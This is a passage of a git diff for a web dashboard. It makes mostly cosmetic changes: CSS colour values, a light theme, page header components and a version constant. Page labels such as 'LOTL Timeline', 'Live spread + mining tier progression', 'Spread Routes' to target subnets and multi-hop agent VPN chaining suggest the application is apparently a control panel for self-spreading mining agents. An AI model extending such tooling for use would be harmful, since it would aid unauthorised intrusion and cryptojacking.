0.75rem; - border-left: 2px solid rgba(0, 245, 255, 0.3); + border-left: 2px solid rgba(0, 232, 245, 0.3); background: rgba(0, 0, 0, 0.35); border-radius: 0 4px 4px 0; font-family: var(--font-tech); @@ -1160,7 +1160,7 @@ max-width: 720px; } -.rich-ports { border-left-color: rgba(0, 245, 255, 0.5); } +.rich-ports { border-left-color: rgba(0, 232, 245, 0.5); } .rich-patch { border-left-color: rgba(255, 200, 0, 0.5); } .rich-posture { border-left-color: rgba(150, 120, 255, 0.5); } diff --git a/server/web/src/pages/LotlTimelinePage.tsx b/server/web/src/pages/LotlTimelinePage.tsx index 680812b..110e139 100644 --- a/server/web/src/pages/LotlTimelinePage.tsx +++ b/server/web/src/pages/LotlTimelinePage.tsx @@ -12,7 +12,7 @@ import { parseAccessDepthServerPolicy } from '../help/accessDepth'; import type { AIDecisionRecord } from '../types'; import LotlFleetOverview from '../components/Lotl/LotlFleetOverview'; import LotlTierTimeline from '../components/Lotl/LotlTierTimeline'; -import { HelpTip } from '../components/HelpTip'; +import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader'; import '../components/Lotl/LotlTimeline.css'; import './Pages.css'; @@ -131,24 +131,23 @@ export default function LotlTimelinePage() { }, [selectedAgent, tierOrder]); return ( -
-
-
-

LOTL Timeline

-

- Live spread + mining tier progression — triple onion chain{' '} - -

-
- {selectedAgent && ( - - Open in Crucible - - )} -
+
+ + Open in Crucible + + ) : undefined + } + /> {/* Header */} -
-
-

NETWORK OPS · WIREGUARD

-

⬡ Path Tracer

-

- Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE. -

-
-
+ {error && (
@@ -361,7 +359,7 @@ export default function PathTracerPage() { {hop && }
{hop?.external_ip && ( -
+
{hop.external_ip}:{hop.port}
)} @@ -429,7 +427,7 @@ export default function PathTracerPage() { {spreadRoutes.length > 0 && (
Spread Routes
-
    +
      {spreadRoutes.map((route) => (
    • {route.target_subnet} → {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)} diff --git a/server/web/src/styles/operatorDeck.css b/server/web/src/styles/operatorDeck.css index 9ed5123..f11081f 100644 --- a/server/web/src/styles/operatorDeck.css +++ b/server/web/src/styles/operatorDeck.css @@ -131,15 +131,15 @@ } [data-operator-deck='pathtracer'] { - --deck-accent: #6b8cff; - --deck-accent-secondary: var(--neon-cyan, #00e8f5); - --deck-accent-dim: rgba(107, 140, 255, 0.38); - --deck-accent-glow: rgba(107, 140, 255, 0.45); - --deck-accent-bg: rgba(70, 110, 220, 0.08); - --deck-card-accent-bar: #6b8cff; - --deck-accent-rail: #6b8cff; - --deck-accent-rail-glow: rgba(107, 140, 255, 0.48); - --deck-ambient-ui-opacity: 0.4; + --deck-accent: var(--neon-cyan, #00e8f5); + --deck-accent-secondary: var(--brass-light, #c4ad5a); + --deck-accent-dim: rgba(0, 232, 245, 0.38); + --deck-accent-glow: rgba(0, 232, 245, 0.45); + --deck-accent-bg: rgba(0, 232, 245, 0.07); + --deck-card-accent-bar: var(--neon-cyan); + --deck-accent-rail: var(--neon-cyan, #00e8f5); + --deck-accent-rail-glow: rgba(0, 232, 245, 0.48); + --deck-ambient-ui-opacity: 0.55; } /* Forge seasonal skins override deck accent when present on page root */ diff --git a/server/web/src/styles/sacred-geometry.css b/server/web/src/styles/sacred-geometry.css index e506e0e..7b858fb 100644 --- a/server/web/src/styles/sacred-geometry.css +++ b/server/web/src/styles/sacred-geometry.css @@ -73,7 +73,7 @@ font-family: var(--font-display); font-size: clamp(1.1rem, 2vw, 1.6rem); color: rgba(201, 162, 39, 0.22); - text-shadow: 0 0 12px rgba(0, 245, 255, 0.15); + text-shadow: 0 0 12px rgba(0, 232, 245, 0.15); animation: sacred-key-glimmer 8s ease-in-out infinite; } @@ -101,7 +101,7 @@ animation: sacred-key-glimmer 12s ease-in-out infinite; } -.sacred-layer__wisdom-rail span:nth-child(2) { animation-delay: -3s; color: rgba(0, 245, 255, 0.14); } +.sacred-layer__wisdom-rail span:nth-child(2) { animation-delay: -3s; color: rgba(0, 232, 245, 0.14); } .sacred-layer__wisdom-rail span:nth-child(3) { animation-delay: -6s; } .sacred-layer__wisdom-rail span:nth-child(4) { animation-delay: -9s; color: rgba(255, 176, 32, 0.14); } @@ -168,7 +168,7 @@ position: absolute; inset: -20%; background: - radial-gradient(ellipse 40% 35% at 20% 30%, rgba(0, 245, 255, 0.06), transparent 55%), + radial-gradient(ellipse 40% 35% at 20% 30%, rgba(0, 232, 245, 0.06), transparent 55%), radial-gradient(ellipse 35% 40% at 80% 70%, rgba(255, 45, 166, 0.05), transparent 55%); pointer-events: none; } @@ -269,7 +269,7 @@ position: absolute; inset: 0; opacity: 0.035; - background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='48' height='83' viewBox='0 0 48 83'%3E%3Cpath d='M24 1 L47 14 L47 42 L24 55 L1 42 L1 14 Z' fill='none' stroke='%23c9a227' stroke-width='0.4'/%3E%3Cpath d='M24 28 L47 41 L47 69 L24 82 L1 69 L1 41 Z' fill='none' stroke='%2300f5ff' stroke-width='0.25' opacity='0.6'/%3E%3C/svg%3E"); + background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='48' height='83' viewBox='0 0 48 83'%3E%3Cpath d='M24 1 L47 14 L47 42 L24 55 L1 42 L1 14 Z' fill='none' stroke='%23c9a227' stroke-width='0.4'/%3E%3Cpath d='M24 28 L47 41 L47 69 L24 82 L1 69 L1 41 Z' fill='none' stroke='%2300e8f5' stroke-width='0.25' opacity='0.6'/%3E%3C/svg%3E"); background-size: 48px 83px; } @@ -324,7 +324,7 @@ pointer-events: none; z-index: 0; opacity: 0.04; - background: radial-gradient(circle at 100% 0%, rgba(0, 245, 255, 0.2), transparent 45%), + background: radial-gradient(circle at 100% 0%, rgba(0, 232, 245, 0.2), transparent 45%), radial-gradient(circle at 0% 100%, rgba(255, 176, 32, 0.15), transparent 40%); } diff --git a/server/web/src/styles/steampunk-theme.css b/server/web/src/styles/steampunk-theme.css index 28902f2..9702357 100644 --- a/server/web/src/styles/steampunk-theme.css +++ b/server/web/src/styles/steampunk-theme.css @@ -15,6 +15,7 @@ --copper-glow: rgba(120, 80, 120, 0.35); --neon-cyan: #00e8f5; + --neon-cyan-rgb: 0, 232, 245; --neon-magenta: #e828a8; --neon-amber: #e89830; --neon-green: #2ee810; @@ -27,7 +28,8 @@ --border-brass: rgba(140, 120, 60, 0.28); --border-neon: rgba(0, 232, 245, 0.22); --shadow-panel: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25); - --shadow-neon-cyan: 0 0 20px rgba(0, 245, 255, 0.35), 0 0 60px rgba(0, 245, 255, 0.1); + --shadow-neon-cyan: 0 0 20px rgba(var(--neon-cyan-rgb), 0.35), 0 0 60px rgba(var(--neon-cyan-rgb), 0.1); + color-scheme: dark; --shadow-neon-magenta: 0 0 20px rgba(255, 45, 166, 0.3); --font-display: 'Cinzel Decorative', Georgia, serif; @@ -158,7 +160,7 @@ h1, h2, h3, .font-display { background: linear-gradient(180deg, #1a4a52 0%, #0d2a30 100%); border: 1px solid var(--neon-cyan); color: var(--neon-cyan); - box-shadow: 0 0 15px rgba(0, 245, 255, 0.2); + box-shadow: 0 0 15px rgba(var(--neon-cyan-rgb), 0.2); } .btn-primary:hover { @@ -185,7 +187,7 @@ h1, h2, h3, .font-display { .btn-outline:hover { border-color: var(--neon-cyan); color: var(--neon-cyan); - box-shadow: 0 0 12px rgba(0, 245, 255, 0.15); + box-shadow: 0 0 12px rgba(0, 232, 245, 0.15); } /* Form inputs — gauge panel style */ @@ -201,7 +203,7 @@ h1, h2, h3, .font-display { .input:focus, .select:focus { border-color: var(--neon-cyan); - box-shadow: 0 0 0 2px rgba(0, 245, 255, 0.15), inset 0 0 20px rgba(0, 245, 255, 0.05); + box-shadow: 0 0 0 2px rgba(0, 232, 245, 0.15), inset 0 0 20px rgba(0, 232, 245, 0.05); outline: none; } @@ -299,3 +301,26 @@ h1, h2, h3, .font-display { ::-webkit-scrollbar-thumb:hover { background: var(--brass); } + +/* Optional light shell when OS prefers light — steampunk deck remains dark-first. */ +@media (prefers-color-scheme: light) { + :root { + color-scheme: light dark; + --bg-void: #f0ece4; + --bg-deep: #e4dfd4; + --bg-panel: rgba(255, 252, 245, 0.94); + --bg-panel-solid: #faf7f0; + --bg-hover: rgba(220, 210, 190, 0.92); + --text-primary: #1a1520; + --text-secondary: #4a4458; + --text-muted: #7a7288; + --border-brass: rgba(120, 100, 40, 0.35); + --border-neon: rgba(0, 160, 172, 0.35); + --shadow-panel: 0 10px 36px rgba(40, 30, 20, 0.12), 0 0 1px rgba(80, 60, 140, 0.15); + } + + body { + background: var(--bg-void); + color: var(--text-primary); + } +} diff --git a/server/web/src/styles/visual-polish.css b/server/web/src/styles/visual-polish.css index 0f49edb..1f44111 100644 --- a/server/web/src/styles/visual-polish.css +++ b/server/web/src/styles/visual-polish.css @@ -20,7 +20,7 @@ body { } ::selection { - background: rgba(0, 245, 255, 0.25); + background: rgba(0, 232, 245, 0.25); color: var(--text-primary); } @@ -31,7 +31,7 @@ a { a:hover { color: var(--neon-cyan); - text-shadow: 0 0 12px rgba(0, 245, 255, 0.35); + text-shadow: 0 0 12px rgba(0, 232, 245, 0.35); text-decoration: none; } @@ -173,7 +173,7 @@ a:hover { } .neon-card-cyan:hover { - border-color: rgba(0, 245, 255, 0.45); + border-color: rgba(0, 232, 245, 0.45); } .stat-card { @@ -196,12 +196,12 @@ a:hover { } .stat-value { - text-shadow: 0 0 24px rgba(0, 245, 255, 0.12); + text-shadow: 0 0 24px rgba(0, 232, 245, 0.12); } .stat-value.hashrate, .neon-glow-cyan { - text-shadow: 0 0 20px rgba(0, 245, 255, 0.35); + text-shadow: 0 0 20px rgba(0, 232, 245, 0.35); } .neon-glow-gold, @@ -281,11 +281,11 @@ input[type='range'] { /* ── Sidebar nav ───────────────────────────────────────────────────────────── */ .nav-item.active { - text-shadow: 0 0 12px rgba(0, 245, 255, 0.4); + text-shadow: 0 0 12px rgba(0, 232, 245, 0.4); } .nav-item.active .nav-icon svg { - filter: drop-shadow(0 0 4px rgba(0, 245, 255, 0.6)); + filter: drop-shadow(0 0 4px rgba(0, 232, 245, 0.6)); } /* ── Status & badges ───────────────────────────────────────────────────────── */ @@ -335,7 +335,7 @@ input[type='range'] { .agent-list-item:hover, .fleet-agent-row:hover { - box-shadow: inset 0 0 24px rgba(0, 245, 255, 0.04); + box-shadow: inset 0 0 24px rgba(0, 232, 245, 0.04); } /* ── Tables & code ─────────────────────────────────────────────────────────── */ @@ -353,7 +353,7 @@ th { } tr:hover td { - background: rgba(0, 245, 255, 0.03); + background: rgba(0, 232, 245, 0.03); } pre, @@ -369,7 +369,7 @@ code { font-family: var(--font-tech); font-size: 0.88em; color: var(--neon-cyan); - background: rgba(0, 245, 255, 0.06); + background: rgba(0, 232, 245, 0.06); padding: 0.1em 0.35em; border-radius: 2px; } @@ -377,7 +377,7 @@ code { /* ── Session gate ──────────────────────────────────────────────────────────── */ .session-gate { background: - radial-gradient(ellipse 80% 60% at 50% 20%, rgba(0, 245, 255, 0.1), transparent 55%), + radial-gradient(ellipse 80% 60% at 50% 20%, rgba(0, 232, 245, 0.1), transparent 55%), radial-gradient(ellipse 60% 50% at 80% 80%, rgba(201, 162, 39, 0.08), transparent 50%), var(--bg-void); } @@ -386,7 +386,7 @@ code { border-radius: 8px; box-shadow: var(--shadow-panel), - 0 0 40px rgba(0, 245, 255, 0.08), + 0 0 40px rgba(0, 232, 245, 0.08), 0 0 80px rgba(201, 162, 39, 0.06); animation: af-page-in 0.7s cubic-bezier(0.23, 1, 0.32, 1) both; } diff --git a/server/web/src/styles/wealth-deck.css b/server/web/src/styles/wealth-deck.css index f4dad69..3ddf0e4 100644 --- a/server/web/src/styles/wealth-deck.css +++ b/server/web/src/styles/wealth-deck.css @@ -144,24 +144,15 @@ text-shadow: 0 0 16px rgba(57, 255, 20, 0.4); } -.contrib-panel.sample-contrib .contrib-fill { +.contrib-panel .contrib-fill { background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan)); box-shadow: 0 0 10px rgba(0, 232, 245, 0.25); } -.activity-pulse.sample-activity .pulse-row.ok .pulse-dot { +.activity-pulse .pulse-row.ok .pulse-dot { box-shadow: 0 0 8px rgba(57, 255, 20, 0.5); } -.preview-deck-hint { - font-family: var(--font-tech); - font-size: 0.65rem; - letter-spacing: 0.12em; - color: rgba(201, 162, 39, 0.55); - text-align: center; - margin: 0.5rem 0 1rem; -} - @media (max-width: 768px) { .deck-wealth-strip { grid-template-columns: repeat(2, 1fr); diff --git a/server/web/src/vite-env.d.ts b/server/web/src/vite-env.d.ts index 82ad93a..f777735 100644 --- a/server/web/src/vite-env.d.ts +++ b/server/web/src/vite-env.d.ts @@ -1,5 +1,7 @@ /// +declare const __APP_VERSION__: string; + declare module '*.png' { const src: string; export default src; diff --git a/server/web/vite.config.ts b/server/web/vite.config.ts index 7a474cd..79a713f 100644 --- a/server/web/vite.config.ts +++ b/server/web/vite.config.ts @@ -1,8 +1,14 @@ +import { readFileSync } from 'node:fs' import { defineConfig } from 'vite' import react from '@vitejs/plugin-react' +const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8')) as { version: string } + export default defineConfig({ plugins: [react()], + define: { + __APP_VERSION__: JSON.stringify(pkg.version), + }, resolve: { dedupe: ['react', 'react-dom'], }, diff --git a/server/web/vitest.config.ts b/server/web/vitest.config.ts index 0402484..ac5e69d 100644 --- a/server/web/vitest.config.ts +++ b/server/web/vitest.config.ts @@ -1,6 +1,12 @@ -import { defineConfig } from 'vitest/config'; +import { readFileSync } from 'node:fs' +import { defineConfig } from 'vitest/config' + +const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8')) as { version: string } export default defineConfig({ + define: { + __APP_VERSION__: JSON.stringify(pkg.version), + }, test: { environment: 'node', include: ['src/**/*.test.{ts,tsx}'],